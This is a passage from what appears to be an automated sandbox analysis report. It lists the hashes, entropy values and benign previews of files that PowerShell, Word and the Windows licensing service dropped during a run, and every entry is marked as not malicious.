MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bpyaxjf5.2pm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gf3vseib.qn1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kgjjsmpt.m0l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nlhyrnjy.igx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_no2aqwce.djq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qldltvr1.rep.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qxciodru.phx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s2rjdydp.ht4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ssyged15.mtf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_svq3oxj5.lx4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ux05jkvw.1rt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uyvt21r0.xdd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vhfrbzpw.np4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wyujsxg0.h3y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ytgqebx0.sc4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zcyw1b5l.hne.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\~$-Meta-Ads-Manager.pdf.docx

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.723094103589176
Encrypted:	false
SSDEEP:	3:6NmltlylDQNSIQltlflmltlBXXklXMAn:mSmMhQlEdXsMAn
MD5:	34C8CA5C4A139AB72BC4CEFE2267F285
SHA1:	F9D5C3839A2B41DB4D362187AC2A3F7C36476E09
SHA-256:	0FF52DEE2681305D159D001BEA49FBA66AC90B06AF2E24F46B9DE93A934F1C4F
SHA-512:	7ADF5C1432A425FB345CAC4446966FAB90E95813F9B8AE413A51691B4CDC967499C50A14048FEDA785811BD41174D373EE52281368C0FF6E89345187DC29919B
Malicious:	false
Preview:	.user.................................................A.r.t.h.u.r...........x.o.=....H$.....................................V.{..K...a.F0z.......K...........Gl.

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.7014288257846877
Encrypted:	false
SSDEEP:	3:6NmltlylDQNT1qYllUgTnlNAH37jlV2ZBXMAn:mSmMr8gTjI37jmZRMAn
MD5:	806D6C0672FAD4F82DE571B08489D4E2
SHA1:	C60EC06241DAADFE30398C998A1A43D6C2372712
SHA-256:	5E0ED548571AD513B752CD2F67F22E98D6F9419B1A9AB9E4A2F7EDC16B1FBE0D
SHA-512:	ADFFD0D5820206BAD771874524FC057DB5E5D8A00816E8F71DA1489F3BE3D335A5EBE8C761968EE8B9E003BC3086AF9A49A7E6B7B3E7F23F1F7379DF7A283A34
Malicious:	false
Preview:	.user.................................................A.r.t.h.u.r...........8.o.=....=$.....GK......................GK...............#.F0z..f.k..K...........Gl.

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:Qkh1QNIl:Qk8W
MD5:	D1F4EBCAA7623D3DBFBF051D65AB1130
SHA1:	A51DDF1371C35784AA2AF44C5EE706285B378CF7
SHA-256:	A838F07E91D01FCF6874D4F5495F69B9E6AB483D367E0E188A809700DC0D0AAE
SHA-512:	EC32CB4736C75066947B9478B644F550D8B48510D98B4E2D065DFF2219F94D76E83AC886D9FEE795580C17C33388A8B7AA858F71754C97A34CAF976B21B17448
Malicious:	false
Preview:	..A.r.t.h.u.r.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0809.lex

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.753622734750157
Encrypted:	false
SSDEEP:	96:KBwgmC6GASkvhkvCCtJFc2MJHaFc2MJH3:KBwSFTcF2cFJ
MD5:	3FC400BA2F743084FD6DB5D84100E265
SHA1:	0F7A4646A74DFE91AD3180E7E6F2FF5188968932
SHA-256:	851D439B9B916406391753A8A274A8931FC62BBA278EB6F028AFAF3FB1F08AEE
SHA-512:	EA09704CB703B535D70D753E91E9CF559358B25B8DC1C42D76A7EDAE94D21B3DAC4FC636D310FAB664AEBF3B90BAE21A25009316460B52273A0EF668A98A541C
Malicious:	false
Preview:	...................................FL..................F.".. ...;.}.S.......K..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S....x...K...P...K......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.YE_....B......................A!.A.p.p.D.a.t.a...B.V.1......YC_..Roaming.@......"S.YC_....D.......................<.R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.Y=_....E.......................(.M.i.c.r.o.s.o.f.t.....V.1......Y;/..Windows.@......"S.Y;/....F.....................~q..W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`.Y./....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`.Y./....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.Y......J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.YM_....i...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BSAT3118BTXMYZ6LNI31.temp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	modified
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GUOUGAESA50FIKOCIJZF.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.753622734750157
Encrypted:	false
SSDEEP:	96:KBwgmC6GASkvhkvCCtJFc2MJHaFc2MJH3:KBwSFTcF2cFJ
MD5:	3FC400BA2F743084FD6DB5D84100E265
SHA1:	0F7A4646A74DFE91AD3180E7E6F2FF5188968932
SHA-256:	851D439B9B916406391753A8A274A8931FC62BBA278EB6F028AFAF3FB1F08AEE
SHA-512:	EA09704CB703B535D70D753E91E9CF559358B25B8DC1C42D76A7EDAE94D21B3DAC4FC636D310FAB664AEBF3B90BAE21A25009316460B52273A0EF668A98A541C
Malicious:	false
Preview:	...................................FL..................F.".. ...;.}.S.......K..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S....x...K...P...K......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.YE_....B......................A!.A.p.p.D.a.t.a...B.V.1......YC_..Roaming.@......"S.YC_....D.......................<.R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.Y=_....E.......................(.M.i.c.r.o.s.o.f.t.....V.1......Y;/..Windows.@......"S.Y;/....F.....................~q..W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`.Y./....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`.Y./....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.Y......J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.YM_....i...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\spp\store\2.0\cache\cache.dat

Download File

Process:	C:\Windows\System32\sppsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	796616
Entropy (8bit):	3.878012200104914
Encrypted:	false
SSDEEP:	6144:KEcXiBNLsfNeeD61SRawazmRnLekXEij/OnWRo1Yr+5i6ByhMTUA28yIGpZc:KEcXiBqfNeeD6qawazmRnLekXSSov3
MD5:	BB8D8642FBD78C17E491B5C591DC7059
SHA1:	A76985CCFB9FB2FA5A635470F81F9522737B4006
SHA-256:	766143A782AFA380828B9AA30E0F00E0BC32508B14E368C0F2C220B6F32D54D1
SHA-512:	A207E7DA997B4B0CA668AED32ED2913EC387D54B447E6E1F3F9E29FFCBC0BAEF6C8B90363332D5526AEC8B332E5E4824B3C27DAD46550C5413DC869A04ADA1A4
Malicious:	false
Preview:	..E(....................;._....................................$.$.G.l.o.b.a.l.$.$......my......................\.....Z...0...+.0.J.f.p.q.U.8.x.J.e.Y.n.Z.J.W.G.k.L.b.7.o./.C.D.+.A.J.9.U.P.y.A.e.m.R.4.2.m.F.n.1.s.=...........E(......................j.............................Z.......+.2.e.7.W.B.7.f.+.F.7.k.k.4.M.y.C.N.s.p.j.x.r.8.T.7.W.H.q.u.k.M.w.4.H.5.C.o.m.q.c.L.Q.=..........R2H....................Uz(.....................(5X.........D...O.f.f.i.c.e. .1.9.,. .T.I.M.E.B.A.S.E.D._.E.V.A.L. .c.h.a.n.n.e.l...............Z...0...+.4.R.6.u.F.1.m.q./.B.3.W.x.J.e./.F.6.Z.l.g.e.6.z.r.T.5.4.N.8.w.2.l.8.S.Q.Q.3.y.p.L.Q.=...........E(......................j.....................8..=....Z.......+.5.9.4.3.l.j.l.G.R.C.2.b.R.G.h.s.Y.q.K.N.O.g.0.3.U.y.s.i.K.c.w.b.c.a.T.k.W.2.V.f.N.4.=..........R2H....................Uz(......................PPu............!.......J...J...e.d.e.a.3.f.0.d.-.b.a.5.4.-.4.2.a.d.-.a.7.7.f.-.3.d.8.7.e.5.0.0.a.0.0.3.........e.d.e.a.3.f.0.d.-.b.a.5.4.-.4.2.a.d.-.a.7.7.f.-.

C:\Windows\Temp\__PSScriptPolicyTest_30pwuhsk.nol.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_kp4sh0gg.zdt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_nebujje1.mlr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_osywlu1v.fv4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qumiv01c.clp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
